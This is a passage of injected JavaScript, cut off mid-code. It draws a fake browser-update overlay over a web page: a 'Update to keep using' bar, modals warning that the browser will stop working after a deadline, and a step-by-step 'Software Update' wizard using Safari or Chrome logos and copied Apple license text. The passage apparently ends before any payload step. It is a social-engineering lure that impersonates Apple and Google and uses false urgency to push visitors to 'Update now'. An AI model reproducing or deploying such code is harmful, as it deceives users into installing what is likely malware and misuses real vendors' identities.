DJcGV5uYE5OQSSf7rOvDzJr1qtOJ3zIQoJhprkNgmSB+yeY27CtmrgAAAAgDgV2jF3dzXs7zSnLN7DsB4FJreCO2iWKMYVa//9k=" />';
}
var SAFARI_LOGO = `<svg style="width:150px;height:150px;margin:0 auto 16px;opacity:0.2;filter:grayscale(20%);" fill="#000000" width="800px" height="800px" viewBox="0 0 14 14" role="img" focusable="false" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"><path d="m 7,1.7500035 c -0.282,0 -0.55908,0.021 -0.82997,0.06108 -0.004,-0.0092 -0.007,-0.01814 -0.0115,-0.02691 C 6.30884,1.6669625 6.38764,1.5049155 6.35346,1.3441105 6.3097,1.1382855 6.09102,1.0000035 5.8093,1.0000035 c -0.0607,0 -0.12255,0.0066 -0.18375,0.01959 -0.35353,0.07516 -0.58764,0.335414 -0.53299,0.592523 0.0332,0.156305 0.16749,0.273492 0.35349,0.320906 -3.8e-4,0.01139 -1.9e-4,0.02285 4.9e-4,0.03438 -2.35104,0.67418 -4.07154,2.839899 -4.07154,5.407594 0,3.1066165 2.51841,5.6249995 5.625,5.6249995 3.10662,0 5.625,-2.518383 5.625,-5.6249995 0,-3.106594 -2.51838,-5.625 -5.625,-5.625 z M 5.27596,1.5731445 c -0.0317,-0.149133 0.14625,-0.318633 0.38857,-0.370126 0.0484,-0.01029 0.0971,-0.01551 0.14477,-0.01551 0.18793,0 0.33626,0.08044 0.36075,0.195586 0.0187,0.08801 -0.036,0.182929 -0.13342,0.256687 -0.0824,-0.0582 -0.18769,-0.08351 -0.29415,-0.06089 -0.10598,0.02252 -0.19157,0.08798 -0.24325,0.174094 -0.11935,-0.02871 -0.20518,-0.09474 -0.22327,-0.179836 z m 4.74028,8.8181015 C 9.50099,10.906473 8.87706,11.27341 8.1962,11.471153 L 7.69937,10.665278 7.57344,11.602286 C 7.38489,11.627526 7.19345,11.640626 7,11.640626 c -1.13939,0 -2.21058,-0.443719 -3.01624,-1.249383 C 3.46851,9.8760155 3.10159,9.2520635 2.90383,8.5712275 L 3.7097,8.0743755 2.77267,7.9484465 c -0.0252,-0.188555 -0.0383,-0.379993 -0.0383,-0.573446 0,-1.139391 0.4437,-2.210578 1.24939,-3.016242 0.51525,-0.51525 1.1392,-0.882164 1.82004,-1.079953 l 0.49683,0.805898 0.12595,-0.937031 c 0.18853,-0.0252 0.37997,-0.0383 0.57342,-0.0383 1.13939,0 2.21058,0.443695 3.01624,1.249383 0.51523,0.51525 0.88217,1.139203 1.07991,1.820039 l -0.8059,0.496851 0.93703,0.12593 c 0.0252,0.188531 0.0383,0.379969 0.0383,0.573422 0,1.139391 -0.44372,2.210578 -1.24939,3.0162415 z M 9.91684,4.4581825 7.6085,6.2125275 C 7.43692,6.1227875 7.24668,6.0711755 7.05285,6.0633935 l -0.5986,-1.256015 -0.0359,1.390594 c -0.15567,0.07659 -0.29419,0.183562 -0.4087,0.31582 l -0.73931,-0.262078 0.54014,0.568805 c -0.0742,0.158414 -0.11562,0.328499 -0.12228,0.501844 l -1.25576,0.598429 1.39147,0.03593 c 0.004,0.009 0.009,0.01791 0.0137,0.02677 L 4.08326,10.291852 6.3916,8.5374845 c 0.17161,0.08972 0.3618,0.141329 0.55566,0.14911 l 0.59859,1.256039 0.0359,-1.390594 c 0.15569,-0.07662 0.29421,-0.183562 0.4087,-0.315844 l 0.73934,0.262125 -0.54017,-0.568828 c 0.0742,-0.158461 0.11567,-0.328476 0.1223,-0.501844 l 1.25574,-0.598429 -1.39144,-0.03598 c -0.004,-0.009 -0.009,-0.01786 -0.0137,-0.02672 l 1.75434,-2.308337 z m -2.91562,1.751204 v 0.04041 -0.04041 l 0,0 z m -0.23508,0.0652 c 0.0788,-0.01676 0.15754,-0.02482 0.23503,-0.02482 0.0486,0 0.0967,0.0032 0.14405,0.0093 l 10e-4,3.76e-4 -1.5e-4,-2.59e-4 c 0.10236,0.01341 0.20131,0.04102 0.29452,0.08081 l -0.83843,0.637219 -0.63727,0.8385 c -0.0278,-0.06556 -0.05,-0.134578 -0.0654,-0.206859 -0.12918,-0.607734 0.25878,-1.20511 0.86654,-1.334297 z m 0.82125,2.059968 0,0 0,0 c -0.10613,0.06497 -0.22481,0.113509 -0.35344,0.14086 -0.0788,0.01676 -0.15757,0.02482 -0.23501,0.02482 -0.0486,0 -0.0968,-0.0032 -0.14423,-0.0093 l -9.2e-4,-3.76e-4 1.2e-4,2.33e-4 c -0.10235,-0.01336 -0.20126,-0.04102 -0.29452,-0.08077 l 0.83839,-0.637218 0.63726,-0.838524 c 0.0279,0.06556 0.05,0.134625 0.0654,0.206907 0.10184,0.479038 -0.11784,0.951515 -0.51304,1.19339 z"/></svg>`;
if (isChrome) {
SAFARI_LOGO = '<svg style="width:370px;height:100px;margin:0 auto 16px;opacity:1;filter:grayscale(20%);" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 599.7 165.2"><g><g><g><path fill="#DB4437" d="M13.1 38v63.4h37l32.5-56.3h73.6C142.5 18.3 114.7 0 82.6 0 53.4 0 27.8 15.1 13.1 38z"/><linearGradient id="a" gradientUnits="userSpaceOnUse" x1="31.876" y1="88.608" x2="81.16" y2="117.397" gradientTransform="matrix(1 0 0 -1 -7 159.82)"><stop offset="0" stop-color="#a52714" stop-opacity=".6"/><stop offset=".66" stop-color="#a52714" stop-opacity="0"/></linearGradient><path fill="url(#a)" d="M13.1 38v63.4h37l32.5-56.3h73.6C142.5 18.3 114.7 0 82.6 0 53.4 0 27.8 15.1 13.1 38z"/></g><path fill="#3E2723" fill-opacity=".15" d="M13.1 38l37.1 63.5.8-.5-37.3-64c-.2.4-.4.7-.6 1z"/><g><path fill="#0F9D58" d="M78.7 165.1l36.4-36.4v-27.3h-65L13.1 38C4.8 50.8 0 66.2 0 82.6c0 44.3 34.9 80.5 78.7 82.5z"/><linearGradient id="b" gradientUnits="userSpaceOnUse" x1="108.026" y1="20.515" x2="53.267" y2="52.592" gradientTransform="matrix(1 0 0 -1 -7 159.82)"><stop offset="0" stop-color="#055524" stop-opacity=".4"/><stop offset=".33" stop-color="#055524" stop-opacity="0"/></linearGradient><path fill="url(#b)" d="M78.7 165.1l36.4-36.4v-27.3h-65L13.1 38C4.8 50.8 0 66.2 0 82.6c0 44.3 34.9 80.5 78.7 82.5z"/></g><path fill="#263238" fill-opacity=".15" d="M77.7 165.1c.3 0 .7 0 1 .1l35.7-62.5-.8-.5-35.9 62.9z"/><g><path fill="#FFCD40" d="M78.7 165.1l36.4-36.4v-27.3l-36.4 63.7z"/><linearGradient id="c" gradientUnits="userSpaceOnUse" x1="84.006" y1="113.753" x2="97.796" y2="53.367" gradientTransform="matrix(1 0 0 -1 -7 159.82)"><stop offset="0" stop-color="#ea6100" stop-opacity=".3"/><stop offset=".66" stop-color="#ea6100" stop-opacity="0"/></linearGradient><path fill="url(#c)" d="M78.7 165.1l36.4-36.4v-27.3l-36.4 63.7z"/><polygon fill="#FFCD40" points="115.1 101.4 115.1 101.4 115.1 101.4"/><linearGradient id="d" gradientUnits="userSpaceOnUse" x1="122.072" y1="58.72" x2="122.203" y2="58.15" gradientTransform="matrix(1 0 0 -1 -7 159.82)"><stop offset="0" stop-color="#ea6100" stop-opacity=".3"/><stop offset=".66" stop-color="#ea6100" stop-opacity="0"/></linearGradient><polygon fill="url(#d)" points="115.1 101.4 115.1 101.4 115.1 101.4"/></g><g><path fill="#FFCD40" d="M82.6 45.1l32.5 56.3-36.4 63.7c1.3.1 2.6.1 3.9.1 45.6 0 82.6-37 82.6-82.6 0-13.5-3.3-26.3-9-37.5H82.6z"/><linearGradient id="e" gradientUnits="userSpaceOnUse" x1="110.858" y1="119.885" x2="124.648" y2="59.499" gradientTransform="matrix(1 0 0 -1 -7 159.82)"><stop offset="0" stop-color="#ea6100" stop-opacity=".3"/><stop offset=".66" stop-color="#ea6100" stop-opacity="0"/></linearGradient><path fill="url(#e)" d="M82.6 45.1l32.5 56.3-36.4 63.7c1.3.1 2.6.1 3.9.1 45.6 0 82.6-37 82.6-82.6 0-13.5-3.3-26.3-9-37.5H82.6z"/></g><radialGradient id="f" cx="662.024" cy="114.808" r="78.928" gradientTransform="matrix(1 0 0 -1 -583 159.82)" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#3e2723" stop-opacity=".2"/><stop offset="1" stop-color="#3e2723" stop-opacity="0"/></radialGradient><polygon fill="url(#f)" points="156.2 45.1 82.6 45.1 82.6 64.7 156.2 45.1"/><g><polygon fill="#0F9D58" points="50.1 101.4 50.1 101.4 50.1 101.3 50.1 101.4"/><linearGradient id="g" gradientUnits="userSpaceOnUse" x1="111.558" y1="26.543" x2="56.799" y2="58.62" gradientTransform="matrix(1 0 0 -1 -7 159.82)"><stop offset="0" stop-color="#055524" stop-opacity=".4"/><stop offset=".33" stop-color="#055524" stop-opacity="0"/></linearGradient><polygon fill="url(#g)" points="50.1 101.4 50.1 101.4 50.1 101.3 50.1 101.4"/></g><radialGradient id="h" cx="596.03" cy="121.782" r="73.264" gradientTransform="matrix(1 0 0 -1 -583 159.82)" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#3e2723" stop-opacity=".2"/><stop offset="1" stop-color="#3e2723" stop-opacity="0"/></radialGradient><polygon fill="url(#h)" points="13.1 38 50.1 101.4 66.9 91.7 13.1 38"/><radialGradient id="i" cx="665.46" cy="77.08" r="82.488" gradientTransform="matrix(1 0 0 -1 -583 159.82)" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#263238" stop-opacity=".2"/><stop offset="1" stop-color="#263238" stop-opacity="0"/></radialGradient><polygon fill="url(#i)" points="115.1 101.4 98.4 91.7 78.7 165.1"/><g transform="translate(-7 -7)"><circle fill="#F1F1F1" cx="89.6" cy="89.6" r="37.5"/><circle fill="#4285F4" cx="89.6" cy="89.6" r="30"/></g><g><path fill="#3E2723" fill-opacity=".2" d="M155.7 44.1H82.6c-20.7 0-37.5 16.8-37.5 37.5v.9C45.1 61.8 61.9 45 82.6 45h73.5c-.1-.3-.2-.6-.4-.9z"/><path fill="#FFFFFF" fill-opacity=".1" d="M83.2 120.1h-.6c-13.9 0-26-7.6-32.5-18.8L13.1 38c-.1.1-.2.3-.3.4l37.3 63.9c6.5 11.2 18.6 18.8 32.5 18.8 10.4 0 19.9-4.3 26.7-11.2-6.7 6.3-15.8 10.2-25.7 10.2-.2.1-.3 0-.4 0z"/><path fill="#FFFFFF" fill-opacity=".1" d="M95.7 117.8c.2-.1.4-.2.6-.2-.2 0-.4.1-.6.2z"/><path fill="#FFFFFF" fill-opacity=".1" d="M97.6 117c.6-.2 1.1-.5 1.7-.8-.6.3-1.1.6-1.7.8z"/><path fill="#FFFFFF" fill-opacity=".1" d="M93.9 118.4c.1 0 .2-.1.3-.1-.1 0-.2.1-.3.1z"/><path fill="#FFFFFF" fill-opacity=".1" d="M115.1 101.4z"/><path fill="#FFFFFF" fill-opacity=".1" d="M100 115.9c.5-.2.9-.5 1.4-.8-.5.3-1 .5-1.4.8z"/><path opacity=".1" fill="#3E2723" d="M120.2 82.6z"/><path opacity=".1" fill="#3E2723" d="M115.1 101.4z"/><path opacity=".1" fill="#3E2723" d="M120.1 80.1v-.2.2z"/><path opacity=".1" fill="#3E2723" d="M120 85.6V85c.1.1.1.3 0 .6z"/><path opacity=".1" fill="#3E2723" d="M109.3 109.9l2.4-2.4.4-.7c-.9 1.1-1.8 2.1-2.8 3.1z"/><path opacity=".1" fill="#3E2723" d="M119.1 73.6c.9 3.3 1.4 6.7 1.4 10.3 0 5.7-1.3 11-3.6 15.9 2.6-5.1 4.2-11 4.2-17.2 0-20.7-16.8-37.5-37.5-37.5h-.5c17.4.2 32 12.3 36 28.5z"/><path opacity=".1" fill="#3E2723" d="M119.8 87.8c0-.2 0-.3.1-.5-.1.2-.1.4-.1.5z"/><path opacity=".1" fill="#3E2723" d="M94.2 118.3c.5-.2 1-.3 1.4-.5-.4.2-.9.3-1.4.5z"/><path opacity=".1" fill="#3E2723" d="M96.3 117.6c.4-.2.9-.3 1.3-.5-.4.1-.9.3-1.3.5z"/><path opacity=".1" fill="#3E2723" d="M101.3 115.1c.2-.1.3-.2.5-.3-.1.1-.3.2-.5.3z"/><path opacity=".1" fill="#3E2723" d="M99.3 116.2c.2-.1.4-.2.7-.4-.3.2-.5.3-.7.4z"/><path opacity=".1" fill="#3E2723" d="M83.1 120.1h.1c3.7-.1 7.3-.7 10.7-1.7-3.4 1.1-7 1.7-10.8 1.7z"/><path fill="#FFFFFF" fill-opacity=".1" d="M115.1 101.4c-3.2 5.5-7.8 10.2-13.3 13.5-.2.1-.3.2-.5.3-.5.3-.9.5-1.4.8-.2.1-.4.2-.7.4-.5.3-1.1.5-1.7.8-.4.2-.9.4-1.3.5-.2.1-.4.2-.6.2-.5.2-.9.3-1.4.5-.1 0-.2.1-.3.1-3.4 1.1-7 1.7-10.7 1.7h.3c10 0 19-3.9 25.7-10.2 1-1 1.9-2.1 2.8-3.2l3.1-5.4z"/><path opacity=".1" fill="#3E2723" d="M115.1 101.4c-3.2 5.5-7.8 10.2-13.3 13.5-.2.1-.3.2-.5.3-.5.3-.9.5-1.4.8-.2.1-.4.2-.7.4-.5.3-1.1.5-1.7.8-.4.2-.9.4-1.3.5-.2.1-.4.2-.6.2-.5.2-.9.3-1.4.5-.1 0-.2.1-.3.1-3.4 1.1-7 1.7-10.7 1.7h.3c10 0 19-3.9 25.7-10.2 1-1 1.9-2.1 2.8-3.2l3.1-5.4z"/><path fill="#FFFFFF" fill-opacity=".2" d="M119.1 73.6c-.1-.4-.2-.7-.3-1.1.7 2.4 1.1 4.8 1.3 7.4v.2c.1.8.1 1.7.1 2.5s0 1.5-.1 2.3v.6c0 .6-.1 1.2-.2 1.8 0 .2 0 .3-.1.5-.7 4.9-2.3 9.4-4.7 13.5l-3.1 5.4-.4.7L78.7 165h1.1l35.7-62.5c.5-.9 1-1.9 1.5-2.9 2.3-4.8 3.6-10.2 3.6-15.9-.1-3.4-.6-6.8-1.5-10.1z"/></g><g transform="translate(-7 -7)"><path fill="#FFFFFF" fill-opacity=".2" d="M89.6 7.9c45.5 0 82.3 36.7 82.6 82.1v-.5C172.2 44 135.2 7 89.6 7S7 44 7 89.6v.5C7.3 44.7 44.1 7.9 89.6 7.9z"/><path fill="#3E2723" fill-opacity=".15" d="M89.6 171.3c45.5 0 82.3-36.7 82.6-82.1v.5c0 45.6-37 82.6-82.6 82.6S7 135.2 7 89.6v-.5c.3 45.4 37.1 82.2 82.6 82.2z"/></g><radialGradient id="j" cx="31.676" cy="137.277" r="165.924" gradientTransform="matrix(1 0 0 -1 -7 159.82)" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#fff" stop-opacity=".1"/><stop offset="1" stop-color="#fff" stop-opacity="0"/></radialGradient><circle fill="url(#j)" cx="82.6" cy="82.6" r="82.6"/></g><path fill="#757575" d="M210.2 84.7c0-17.8 12.5-31.4 30.3-31.4 14.1 0 22 8.4 25.6 16.7l-9.9 4.7c-2.6-6.8-8.4-11-16.2-11-9.4 0-18.3 8.4-18.3 21.4 0 12.5 8.9 21.4 18.3 21.4 8.4 0 14.1-4.2 17.3-11l9.9 4.2c-3.7 8.4-12 16.7-26.1 16.7-18.4-.3-30.9-13.9-30.9-31.7zM286 55.4l-.5 8.4h.5c3.1-5.2 10.5-9.9 18.8-9.9 15.2 0 22.5 9.9 22.5 24.6v36.1h-11V80c0-12-6.3-16.2-14.6-16.2-9.4 0-15.7 8.9-15.7 18.3v32.4h-11V28.8h11v26.6zm52.8 59.1V55.4h10.5v9.4h.5c2.6-6.8 11-11 17.3-11 3.7 0 5.8.5 8.4 1.6l-4.2 10.5c-1.6-.5-3.7-1-5.8-1-7.3 0-15.2 6.3-15.2 17.3v32.4h-11.5zm97.3-29.8c0 17.8-12.5 31.4-30.3 31.4s-30.3-13.6-30.3-31.4 12.5-31.4 30.3-31.4 30.3 13.6 30.3 31.4zm-11 0c0-13.6-9.4-21.4-19.3-21.4s-19.3 7.8-19.3 21.4 9.4 21.4 19.3 21.4 19.3-7.8 19.3-21.4zm19.8-29.3h10.5v8.4h.5c3.1-5.8 11-9.9 18.3-9.9 9.4 0 15.7 4.2 18.8 11.5 4.2-6.8 11.5-11.5 20.4-11.5 14.1 0 20.9 9.9 20.9 24.6v36.1h-11.5V80c0-12-4.7-16.2-13.1-16.2-8.9 0-15.2 8.9-15.2 18.3v32.4h-11V80c0-12-4.7-16.2-13.1-16.2-8.9 0-15.2 8.9-15.2 18.3v32.4h-11V55.4h.7zm97.3 29.3c0-16.7 11.5-31.4 28.8-31.4s28.8 12.5 28.8 31.4v2.1h-46.5c.5 12.5 9.4 19.3 18.8 19.3 6.3 0 13.1-2.6 16.2-9.9l9.9 4.2c-3.7 8.4-12 16.2-25.6 16.2-18.4-.5-30.4-14.1-30.4-31.9zm28.7-20.9c-8.4 0-14.6 5.8-16.7 14.1h34c-.5-5.2-4.7-14.1-17.3-14.1z"/></g></svg>';
}
const w = document.createElement('div');
w.style.cssText = 'all:initial;position:fixed;top:0;left:0;right:0;z-index:2147483646;';
const n = document.createElement('div');
n.innerHTML = '<div id="notifyBar" style="position:fixed;top:0;left:0;right:0;height:40px;background-color:white;border-bottom:1px solid #e5e7eb;box-shadow:0 1px 2px rgba(0,0,0,0.05);display:flex;align-items:center;padding:0 16px;font-family:-apple-system,BlinkMacSystemFont,\'SF Pro Text\',\'Helvetica Neue\',Arial,sans-serif;z-index:2147483646;"><div style="display:flex;align-items:center;flex:1;gap:12px;"><span style="color:red; font-size: 18px"><b>!</b></span> <svg width="16" height="16" viewBox="0 0 24 24" style="flex-shrink:0;"><path fill="#666" d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-1-4h2v-2h-2v2z"/></svg><span style="font-size:13px;color:#1d1d1f;margin-right:8px;white-space:nowrap;">Update to keep using ' + browser + ' after ${deadline}</span><a href="#" style="font-size:13px;color:#0066cc;text-decoration:none;cursor:pointer;white-space:nowrap;" onclick="window.showMoreInfo();return false;">Learn more</a><div style="display:flex;align-items:center;gap:8px;margin-left:12px;"><button onclick="window.startProcess()" style="height:28px;padding:0 12px;background-color:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;display:flex;align-items:center;white-space:nowrap;">Update now</button><button onclick="window.closeNotify()" style="height:28px;padding:0 12px;background:transparent;color:#666;border:none;border-radius:4px;font-size:13px;cursor:pointer;display:flex;align-items:center;white-space:nowrap;">Later</button></div></div></div>';
const m = document.createElement('div');
m.innerHTML = ` <div id="modalBg" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.5);z-index:2147483646;"></div> <div id="infoModal" style="display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;width:90%;max-width:500px;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,0.1);font-family:-apple-system,BlinkMacSystemFont,'SF Pro Text','Helvetica Neue',Arial,sans-serif;z-index:2147483647;"> <div style="padding:24px;"> <div style="font-size:18px;font-weight:500;color:#1d1d1f;margin-bottom:16px;">Important ${browser} Update</div> <div style="font-size:14px;line-height:1.5;color:#666;margin-bottom:24px;">Starting ${deadline}, ${browser} is transitioning from Manifest V2 to Manifest V3, bringing significant improvements to browser security and performance. This update introduces new AI-powered features, enhanced privacy controls, and improved extension capabilities.<br><br>Key improvements include:<br><li> Advanced AI-assisted browsing<br><li> Enhanced privacy protection<br><li> Improved performance and security<br><li> New developer tools and APIs</div> <div style="display:flex;justify-content:flex-end;gap:8px;"> <button onclick="window.closeMoreInfo()" style="height:32px;padding:0 16px;background:transparent;color:#666;border:1px solid #ddd;border-radius:4px;font-size:13px;cursor:pointer;">Close</button> <button onclick="window.startProcess()" style="height:32px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Update now</button> </div> </div> </div> <div id="warningModal" style="display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;width:90%;max-width:500px;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,0.1);font-family:-apple-system,BlinkMacSystemFont,'SF Pro Text','Helvetica Neue',Arial,sans-serif;z-index:2147483647;"> <div style="padding:24px;"> <div style="font-size:18px;font-weight:500;color:#1d1d1f;margin-bottom:16px;">Warning: Critical Update Required</div> <div style="font-size:14px;line-height:1.5;color:#666;margin-bottom:24px;">Postponing this update may significantly impact your browsing experience. After ${deadline}, your current version of ${browser} will stop working, requiring a complete reinstallation of the browser. To avoid any interruption in your browsing experience and maintain access to your bookmarks, history, and saved passwords, we strongly recommend updating now.</div> <div style="display:flex;justify-content:flex-end;gap:8px;"> <button onclick="window.confirmDelay()" style="height:32px;padding:0 16px;background:transparent;color:#666;border:1px solid #ddd;border-radius:4px;font-size:13px;cursor:pointer;">I understand the risks</button> <button onclick="window.startProcess()" style="height:32px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Update now</button> </div> </div> </div> <div id="updatePage" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:#f5f5f7;z-index:2147483647;overflow-y:auto;font-family:-apple-system,BlinkMacSystemFont,'SF Pro Text','Helvetica Neue',Arial,sans-serif;"> <div id="warningBeforeUpdate" style="max-width:600px;margin:40px auto;padding:20px;background:white;border-radius:10px;box-shadow:0 4px 20px rgba(0,0,0,0.1);"> <div style="text-align:center;margin-bottom:24px;"> <div style="width:50px;height:50px;background:#ff9500;border-radius:25px;display:flex;align-items:center;justify-content:center;margin:0 auto 16px;"> <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="2"> <path d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"></path> </svg> </div> <h2 style="font-size:22px;font-weight:500;color:#1d1d1f;margin:0 0 12px;">Important Update Warning</h2> </div> <div style="margin-bottom:24px;font-size:14px;line-height:1.5;color:#666;"> <p style="margin-bottom:16px;"><strong>Please read carefully before proceeding:</strong></p> <ul style="padding-left:24px;margin-bottom:16px;"> <li style="margin-bottom:8px;">Do not close your browser during the update process.</li> <li style="margin-bottom:8px;">Wait for the update to complete fully.</li> <li style="margin-bottom:8px;">After completing the final step, your browser will be updated.</li> <li style="margin-bottom:8px;">You will need to restart ${browser} to use the updated version (all tabs will be preserved).</li> </ul> <p>This update is required to continue using ${browser} after ${deadline}.</p> </div> <div style="display:flex;justify-content:space-between;align-items:center;"> <button onclick="window.cancelUpdate()" style="height:36px;padding:0 16px;background:transparent;color:#666;border:1px solid #ddd;border-radius:4px;font-size:13px;cursor:pointer;visibility:hidden;">Cancel</button> <button onclick="window.proceedToUpdate()" style="height:36px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Continue</button> </div> </div> <div id="updateStep1" style="display:none;max-width:780px;margin:40px auto;padding:20px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:30px;"> <div style="flex:1;height:2px;background:#ddd;position:relative;"> <div style="position:absolute;width:24px;height:24px;background:#0066cc;border-radius:50%;top:50%;left:0;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">1</div> </div> <div style="flex:1;height:2px;background:#ddd;position:relative;margin:0 8px;"> <div style="position:absolute;width:24px;height:24px;background:#ddd;border-radius:50%;top:50%;left:50%;transform:translate(-50%,-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">2</div> </div> <div style="flex:1;height:2px;background:#ddd;position:relative;"> <div style="position:absolute;width:24px;height:24px;background:#ddd;border-radius:50%;top:50%;right:0;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">3</div> </div> </div> <div style="text-align:center;margin-bottom:30px;"> ${SAFARI_LOGO} <h2 style="font-size:24px;font-weight:500;color:#1d1d1f;margin:0 0 8px;">${browser} Software Update</h2> <p style="font-size:14px;color:#666;margin:0;">Read & confirm the software license agreement</p> </div> <div style="background:white;border-radius:8px;box-shadow:0 1px 4px rgba(0,0,0,0.1);padding:24px;margin-bottom:24px;"> <div style="height:300px;overflow-y:auto;border:1px solid #ddd;border-radius:6px;padding:16px;margin-bottom:20px;font-size:12px;line-height:1.5;color:#666;font-family:system-ui, monospace;"> <p><strong>ENGLISH<br>APPLE INC.<br>SOFTWARE LICENSE AGREEMENT FOR ${browser.toUpperCase()} FOR MACOS<br>SINGLE USE LICENSE</strong></p> <p>PLEASE READ THIS SOFTWARE LICENSE AGREEMENT ("LICENSE") CAREFULLY BEFORE USING THE APPLE SOFTWARE. BY USING THE APPLE SOFTWARE, YOU ARE AGREEING TO BE BOUND BY THE TERMS OF THIS LICENSE. IF YOU DO NOT AGREE TO THE TERMS OF THIS LICENSE, DO NOT USE THE SOFTWARE. IF YOU DO NOT AGREE TO THE TERMS OF THE LICENSE, YOU MAY RETURN THE APPLE SOFTWARE TO THE PLACE WHERE YOU OBTAINED IT FOR A REFUND. IF THE APPLE SOFTWARE WAS ACCESSED ELECTRONICALLY, CLICK "DISAGREE".</p> <p><strong>IMPORTANT NOTE:</strong> To the extent that this software may be used to reproduce materials, it is licensed to you only for reproduction of non-copyrighted materials, materials in which you own the copyright, or materials you are authorized or legally permitted to reproduce. If you are uncertain about your right to copy any material, you should contact your legal advisor.</p> <p>1. General. The Apple and any third party software, documentation and any fonts accompanying this License whether on disk, in read only memory, on any other media or in any other form (collectively the "Apple Software") are licensed, not sold, to you by Apple Inc. ("Apple") for use only under the terms of this License. Apple and/or its licensors retain ownership of the Apple Software itself and reserves all rights not expressly granted to you. The terms of this License will govern any software upgrades provided by Apple that replace and/or supplement the original Apple Software product, unless such upgrade is accompanied by a separate license in which case the terms of that license will govern.</p> <p>Title and intellectual property rights in and to any content displayed by or accessed through the Apple Software belongs to the respective content owner. Such content may be protected by copyright or other intellectual property laws and treaties, and may be subject to terms of use of the third party providing such content. This License does not grant you any rights to use such content.</p> <p>2. Permitted License Uses and Restrictions.<br>A. Subject to the terms and conditions of this License you are granted a limited non-exclusive license to install and use one copy of the Apple Software on each computer owned or controlled by you. To the extent that the Apple Software may be used to reproduce materials, such use is limited to reproduction of non-copyrighted materials, materials in which you own the copyright, or materials you are authorized or legally permitted to reproduce. This License does not allow the Apple Software to exist on more than one computer at a time, and you may not make the Apple Software available over a network where it could be used by multiple computers at the same time. You may make one copy of the Apple Software in machine-readable form for backup purposes only; provided that the backup copy must include all copyright or other proprietary notices contained on the original.</p> <p>In addition to the restrictions stated above, the Apple proprietary libraries ("Apple DLLs") included with the Apple Software are only licensed: (i) for use with the Apple Software; and (ii) for your personal use or internal business use in connection with your development of WebKit &lt;http://webkit.org/&gt;. You may not use the Apple DLLs for any other purpose, nor may you link, compile or otherwise combine the Apple DLLs with your own programs, modify, rent, release, lend, sublicense or otherwise redistribute the Apple DLLs, in whole or in part.</p> <p>B. Certain components of the Apple Software, and third party open source programs included with the Apple Software, have been or may be made available by Apple on its Open Source web site (http://www.opensource.apple.com/) (collectively the "Open-Sourced Components"). You may modify or replace only these Open-Sourced Components; provided that: (i) the resultant modified Apple Software is used, in place of the unmodified Apple Software, on a single computer; and (ii) you otherwise comply with the terms of this License and any applicable licensing terms governing use of the Open-Sourced Components. Apple is not obligated to provide any updates, maintenance, warranty, technical or other support, or services for the resultant modified Apple Software.</p> <p>You expressly acknowledge that if failure or damage to Apple hardware results from modification of the Open-Sourced Components of the Apple Software, such failure or damage is excluded from the terms of the Apple hardware warranty.</p> <p>C. You may not and you agree not to, or to enable others to, copy except as expressly permitted by this License), decompile, reverse engineer, disassemble, attempt to derive the source code of, decrypt, modify, create derivative works of the Apple Software, or any part thereof (except as and only to the extent any foregoing restriction is prohibited by applicable law or to the extent as may be permitted by licensing terms governing use of open-sourced components included with the Apple Software). Any attempt to do so is a violation of the rights of Apple and its licensors of the Apple Software.</p> <p>3. Transfer. You may not rent, lease, lend, sell, redistribute or sublicense the Apple Software. You may, however, make a one-time permanent transfer of all of your license rights to the Apple Software to another party, provided that: (a) the transfer must include all of the Apple Software, including all its component parts, original media (if any), printed materials and this License; (b) you do not retain any copies of the Apple Software, full or partial, including copies stored on a computer or other storage device; and (c) the party receiving the Apple Software reads and agrees to accept the terms and conditions of this License.</p> <p>4. Consent to Use of Data.<br>A. Diagnostic and Usage Data. You agree that Apple and its subsidiaries and agents may collect, maintain, process and use diagnostic, technical, usage and related information, including but not limited to information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the Apple Software, and to verify compliance with the terms of this License.</p> </div> <div style="display:flex;justify-content:center;gap:16px;margin-bottom:24px;"> <button onclick="window.confirmAgreement()" style="height:36px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Agree</button> </div> <div style="text-align:center;font-size:12px;color:#999;margin-top:24px;"> Copyright &copy; 2025 Apple Inc. All rights reserved. </div> </div> </div> <div id="updateStep2" style="display:none;max-width:780px;margin:40px auto;padding:20px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:30px;"> <div style="flex:1;height:2px;background:#0066cc;position:relative;"> <div style="position:absolute;width:24px;height:24px;background:#0066cc;border-radius:50%;top:50%;left:0;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">1</div> </div> <div style="flex:1;height:2px;background:#0066cc;position:relative;margin:0 8px;"> <div 